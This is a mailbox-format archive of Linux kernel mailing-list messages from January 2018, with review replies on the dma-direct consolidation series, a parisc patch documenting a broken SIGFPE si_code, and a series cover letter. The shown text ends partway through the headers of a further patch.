X-Trace: blaine.gmane.org 1515602887 12583 195.159.176.226 (10 Jan 2018 16:48:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 16:48:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: iommu@lists.linux-foundation.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        x86@kernel.org, Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 17:48:01 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZJXl-0002qM-7f
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 17:48:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965876AbeAJQuE (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 11:50:04 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:45530 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S965711AbeAJQuE (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 11:50:04 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id B7E221529;
        Wed, 10 Jan 2018 08:50:03 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id EDA293F487;
        Wed, 10 Jan 2018 08:49:59 -0800 (PST)
In-Reply-To: <20180110153017.GD17790@lst.de>
Content-Language: en-GB
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9905 gmane.linux.kernel.iommu:22112 gmane.linux.ports.mips.general:63268 gmane.linux.ports.ia64:28581 gmane.linux.ports.sh.devel:56280 gmane.linux.ports.sparc:27233 gmane.linux.kernel.cross-arch:41336 gmane.linux.ports.hexagon:1549 gmane.linux.kernel.arc:3333 gmane.linux.kernel.metag:1625 gmane.linux.ports.arm.kernel:625220 gmane.linux.ports.parisc:28225 gmane.linux.kernel:2663328 gmane.linux.ports.alpha:4723 gmane.linux.ports.ppc64.devel:151914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9905>

On 10/01/18 15:30, Christoph Hellwig wrote:
> On Wed, Jan 10, 2018 at 12:06:22PM +0000, Robin Murphy wrote:
>> On 10/01/18 08:00, Christoph Hellwig wrote:
>>> To preserve the x86 behavior.
>>
>> And combined with patch 10/22 of the SWIOTLB refactoring, this means
>> SWIOTLB allocations will also end up NUMA-aware, right? Great, that's what
>> we want on arm64 too :)
> 
> Well, only for swiotlb allocations that can be satisfied by
> dma_direct_alloc.  If we actually have to fall back to the swiotlb
> buffers there is not node affinity yet.

Yeah, when I looked into it I reached the conclusion that per-node 
bounce buffers probably weren't worth it - if you have to bounce you've 
already pretty much lost the performance game, and if the CPU doing the 
bouncing happens to be on a different node from the device you've 
certainly lost either way. Per-node CMA zones we definitely *would* 
like, but that's a future problem (it looks technically feasible without 
huge infrastructure changes, but fiddly).

Robin.

From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 31/33] dma-direct: reject too small dma masks
Date: Wed, 10 Jan 2018 17:00:30 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <619b174d-f38d-8d9e-dfd2-cc3a64ace446@arm.com>
References: <20180110080027.13879-1-hch@lst.de>
 <20180110080027.13879-32-hch@lst.de>
 <0bcca030-a8da-c34a-a905-707986689f33@arm.com>
 <20180110153226.GE17790@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515603522 3352 195.159.176.226 (10 Jan 2018 16:58:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 16:58:42 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.0
Cc: iommu@lists.linux-foundation.org, linux-mips@linux-mips.org,
        linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
        linux-c6x-dev@linux-c6x.org, linux-hexagon@vger.kernel.org,
        x86@kernel.org, Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-snps-arc@lists.infradead.org,
        linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
        linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
        Michal Simek <monstr@monstr.eu>, linux-parisc@vger.kernel.org,
        linux-cris-kernel@axis.com, linux-kernel@vger.kernel.org,
        linux-alpha@vger.kernel.org, linuxppc-dev@lists.ozlabs.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-alpha-owner@vger.kernel.org Wed Jan 10 17:58:36 2018
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1eZJhz-0000MG-8q
	for lnx-linux-alpha@m.gmane.org; Wed, 10 Jan 2018 17:58:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S965570AbeAJRAh (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
        Wed, 10 Jan 2018 12:00:37 -0500
Original-Received: from foss.arm.com ([217.140.101.70]:45956 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754153AbeAJRAg (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
        Wed, 10 Jan 2018 12:00:36 -0500
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id ECC231529;
        Wed, 10 Jan 2018 09:00:35 -0800 (PST)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 361313F487;
        Wed, 10 Jan 2018 09:00:32 -0800 (PST)
In-Reply-To: <20180110153226.GE17790@lst.de>
Content-Language: en-GB
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:4724 gmane.linux.kernel.iommu:22113 gmane.linux.ports.mips.general:63269 gmane.linux.ports.ia64:28582 gmane.linux.ports.sh.devel:56281 gmane.linux.ports.sparc:27234 gmane.linux.kernel.cross-arch:41337 gmane.linux.ports.hexagon:1550 gmane.linux.kernel.arc:3334 gmane.linux.kernel.metag:1626 gmane.linux.ports.arm.kernel:625231 gmane.linux.ports.parisc:28226 gmane.linux.kernel:2663339 gmane.linux.ports.ppc64.devel:151915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/4724>



On 10/01/18 15:32, Christoph Hellwig wrote:
> On Wed, Jan 10, 2018 at 11:49:34AM +0000, Robin Murphy wrote:
>>> +#ifdef CONFIG_ZONE_DMA
>>> +	if (mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
>>> +		return 0;
>>> +#else
>>> +	/*
>>> +	 * Because 32-bit DMA masks are so common we expect every architecture
>>> +	 * to be able to satisfy them - either by not supporting more physical
>>> +	 * memory, or by providing a ZONE_DMA32.  If neither is the case, the
>>> +	 * architecture needs to use an IOMMU instead of the direct mapping.
>>> +	 */
>>> +	if (mask < DMA_BIT_MASK(32))
>>> +		return 0;
>>
>> Do you think it's worth the effort to be a little more accommodating here?
>> i.e.:
>>
>> 		return dma_max_pfn(dev) >= max_pfn;
>>
>> We seem to have a fair few 28-31 bit masks for older hardware which
>> probably associates with host systems packing equivalently small amounts of
>> RAM.
> 
> And those devices don't have a ZONE_DMA?  I think we could do something
> like that, but I'd rather have it as a separate commit with a good
> explanation.  Maybe you can just send on on top of the series?

Good point - other than the IXP4xx platform and possibly the Broadcom 
network drivers, it's probably only x86-relevant stuff where the concern 
is moot. Let's just keep the simple assumption then, until actually 
proven otherwise.

Robin.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Eric W. Biederman" <ebiederm@xmission.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 04/11] signal/parisc: Document a conflict with SI_USER with SIGFPE
Date: Thu, 11 Jan 2018 18:59:33 -0600
Lines: 69
Approved: news@gmane.org
Message-ID: <20180112005940.23279-4-ebiederm@xmission.com>
References: <87373b6ghs.fsf@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515718784 24150 195.159.176.226 (12 Jan 2018 00:59:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 00:59:44 +0000 (UTC)
Cc: Al Viro <viro@zeniv.linux.org.uk>, Oleg Nesterov <oleg@redhat.com>,
        linux-arch@vger.kernel.org,
        "Eric W. Biederman" <ebiederm@xmission.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jan 12 01:59:39 2018
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1eZngx-0005Qk-Ka
	for glka-linux-arch@m.gmane.org; Fri, 12 Jan 2018 01:59:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933634AbeALBBd (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
        Thu, 11 Jan 2018 20:01:33 -0500
Original-Received: from out01.mta.xmission.com ([166.70.13.231]:35540 "EHLO
        out01.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933242AbeALBB2 (ORCPT
        <rfc822;linux-arch@vger.kernel.org>); Thu, 11 Jan 2018 20:01:28 -0500
Original-Received: from in01.mta.xmission.com ([166.70.13.51])
        by out01.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eZnip-0003WW-9a; Thu, 11 Jan 2018 18:01:27 -0700
Original-Received: from 97-121-73-102.omah.qwest.net ([97.121.73.102] helo=x220.int.ebiederm.org)
        by in01.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eZnio-00053y-HV; Thu, 11 Jan 2018 18:01:27 -0700
X-Mailer: git-send-email 2.14.1
In-Reply-To: <87373b6ghs.fsf@xmission.com>
X-XM-SPF: eid=1eZnio-00053y-HV;;;mid=<20180112005940.23279-4-ebiederm@xmission.com>;;;hst=in01.mta.xmission.com;;;ip=97.121.73.102;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX19FcL51k1qLydwcvYuOkwO1me24IIQNe1M=
X-SA-Exim-Connect-IP: 97.121.73.102
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  1.5 XMNoVowels Alpha-numberic number with no vowels
        *  0.7 XMSubLong Long Subject
        *  0.0 TVD_RCVD_IP Message was received from an IP address
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5013]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa07 1397; Body=1 Fuz1=1 Fuz2=1]
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
X-Spam-DCC: XMission; sa07 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ***;linux-kernel@vger.kernel.org
X-Spam-Relay-Country: 
X-Spam-Timing: total 366 ms - load_scoreonly_sql: 0.05 (0.0%),
        signal_user_changed: 3.0 (0.8%), b_tie_ro: 2.1 (0.6%), parse: 1.01 (0.3%),
        extract_message_metadata: 17 (4.7%), get_uri_detail_list: 2.6 (0.7%),
        tests_pri_-1000: 9 (2.5%), tests_pri_-950: 1.17 (0.3%), tests_pri_-900: 0.97
        (0.3%), tests_pri_-400: 29 (7.9%), check_bayes: 28 (7.6%), b_tokenize: 8
        (2.1%), b_tok_get_all: 10 (2.8%), b_comp_prob: 2.9 (0.8%), b_tok_touch_all:
        3.4 (0.9%), b_finish: 0.65 (0.2%), tests_pri_0: 296 (80.9%),
        check_dkim_signature: 0.59 (0.2%), check_dkim_adsp: 3.7 (1.0%),
        tests_pri_500: 6 (1.6%), rewrite_mail: 0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in01.mta.xmission.com)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:41422 gmane.linux.kernel:2664876 gmane.linux.ports.parisc:28227
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/41422>

Setting si_code to 0 results in a userspace seeing an si_code of 0.
This is the same si_code as SI_USER.  Posix and common sense requires
that SI_USER not be a signal specific si_code.  As such this use of 0
for the si_code is a pretty horribly broken ABI.

Further use of si_code == 0 guaranteed that copy_siginfo_to_user saw a
value of __SI_KILL and now sees a value of SIL_KILL with the result
that uid and pid fields are copied and which might copying the si_addr
field by accident but certainly not by design.  Making this a very
flakey implementation.

Utilizing FPE_FIXME siginfo_layout will now return SIL_FAULT and the
appropriate fields will reliably be copied.

This bug is 13 years old and parsic machines are no longer being built
so I don't know if it possible or worth fixing it.  But it is at least
worth documenting this so other architectures don't make the same
mistake.

Possible ABI fixes includee:
  - Send the signal without siginfo
  - Don't generate a signal
  - Possibly assign and use an appropriate si_code
  - Don't handle cases which can't happen

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Ref: 313c01d3e3fd ("[PATCH] PA-RISC update for 2.6.0")
Histroy Tree: https://git.kernel.org/pub/scm/linux/kernel/git/tglx/history.git
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
---
 arch/parisc/include/uapi/asm/siginfo.h | 7 +++++++
 arch/parisc/kernel/traps.c             | 2 +-
 2 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/uapi/asm/siginfo.h
index 4a1062e05aaf..be40331f757d 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -8,4 +8,11 @@
 
 #include <asm-generic/siginfo.h>
 
+/*
+ * SIGFPE si_codes
+ */
+#ifdef __KERNEL__
+#define FPE_FIXME	0	/* Broken dup of SI_USER */
+#endif /* __KERNEL__ */
+
 #endif
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 8453724b8009..c919e6c0a687 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -629,7 +629,7 @@ void notrace handle_interruption(int code, struct pt_regs *regs)
 			si.si_signo = SIGFPE;
 			/* Set to zero, and let the userspace app figure it out from
 			   the insn pointed to by si_addr */
-			si.si_code = 0;
+			si.si_code = FPE_FIXME;
 			si.si_addr = (void __user *) regs->iaoq[0];
 			force_sig_info(SIGFPE, &si, current);
 			return;
-- 
2.14.1



From - Thu Nov 08 21:40:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: consolidate direct dma mapping V4
Date: Fri, 12 Jan 2018 09:41:58 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746446 28347 195.159.176.226 (12 Jan 2018 08:40:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:40:46 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:40:41 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZutD-0006qC-Jb
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:40:39 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id D8102100C;
	Fri, 12 Jan 2018 08:42:42 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id DB4A51003
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:41 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 52027124
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:42:41 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=Message-Id:Date:Subject:Cc:To:From:
	Sender:Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding:
	Content-ID:Content-Description:Resent-Date:Resent-From:Resent-Sender:
	Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:References:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=c7DuEybEs8F7edtbdN4VvcyDfEtoPkOaoU/c5shCm4k=;
	b=s/5C7299FEkxYRhXjynMUdopK
	Fz0VhPswQcobpIhwbbjbu+K4PGySHPVqQK2V1rS1QIQ1befs/XZClq1GGrz6uoePEKN1rXjfHB0Ip
	FCmJVaZeikVVSmfRWyM2xdH05n1Uc43+gLi7WjT1gccTmQ6IDBFmBUYr4lVPonDbHHACGZC0GOsZ1
	+7qJ1hScjGV3p/dNB5NRqjLkabyUmYY6YGUWjHQ6Znl86dp6EzNzQYtER23ftpPSodR/0e350+Fls
	dcWr0lj44bHAOS8CUuKEGYT5rsHP1Lpgudu+TyPPtPTrqt4xCgn794UNmCbRePg6GYe053Cz4UW7C
	uRQd0dXyg==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuv5-00073a-Gs; Fri, 12 Jan 2018 08:42:36 +0000
X-Mailer: git-send-email 2.14.2
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22142 gmane.linux.ports.mips.general:63283 gmane.linux.ports.ia64:28586 gmane.linux.ports.sh.devel:56287 gmane.linux.ports.sparc:27236 gmane.linux.kernel.cross-arch:41444 gmane.linux.ports.hexagon:1551 gmane.linux.kernel.arc:3335 gmane.linux.kernel.metag:1628 gmane.linux.ports.arm.kernel:625641 gmane.linux.ports.parisc:28228 gmane.linux.kernel:2665074 gmane.linux.ports.alpha:4725 gmane.linux.ports.ppc64.devel:152010
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22142>

Almost every architecture supports a direct dma mapping implementation,
where no iommu is used and the device dma address is a 1:1 mapping to
the physical address or has a simple linear offset.  Currently the
code for this implementation is most duplicated over the architectures,
and the duplicated again in the swiotlb code, and then duplicated again
for special cases like the x86 memory encryption DMA ops.

This series takes the existing very simple dma-noop dma mapping
implementation, enhances it with all the x86 features and quirks, and
creates a common set of architecture hooks for it and the swiotlb code.

It then switches a number of architectures to this generic
direct map implemention.

Note that for now this only handles architectures that do cache coherent
DMA, but a similar consolidation for non-coherent architectures is in the
work for later merge windows.

A git tree is also available:

   git://git.infradead.org/users/hch/misc.git dma-direct.3

Gitweb:

   http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/dma-direct.3

Changes since V3
 - new patch to fix an off-by-one in mips dma_capable
Changes since V2:
 - fixed a few patch description typos
 - fixed a few printk formats
 - fixed an off by one in dma_coherent_ok
 - add a few Reviewed-by/Acked-by tags.
 - moved the swiotlb consolidation to a new series
 - dropped a few patches for now to not overwhelem the x86
   maintainers.  They will be resubmitted in the next merge window

From - Thu Nov 08 21:40:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 01/34] alpha: mark jensen as broken
Date: Fri, 12 Jan 2018 09:41:59 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20180112084232.2857-2-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746448 28797 195.159.176.226 (12 Jan 2018 08:40:48 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:40:48 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
 linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
 Guan Xuetao <gxt@mprc.pku.edu.cn>, linux-arch@vger.kernel.org,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-hexagon@vger.kernel.org, x86@kernel.org,
 Konrad Rzeszutek Wilk <konrad@darnok.org>, linux-snps-arc@lists.infradead.org,
 linux-m68k@lists.linux-m68k.org, patches@groups.riscv.org,
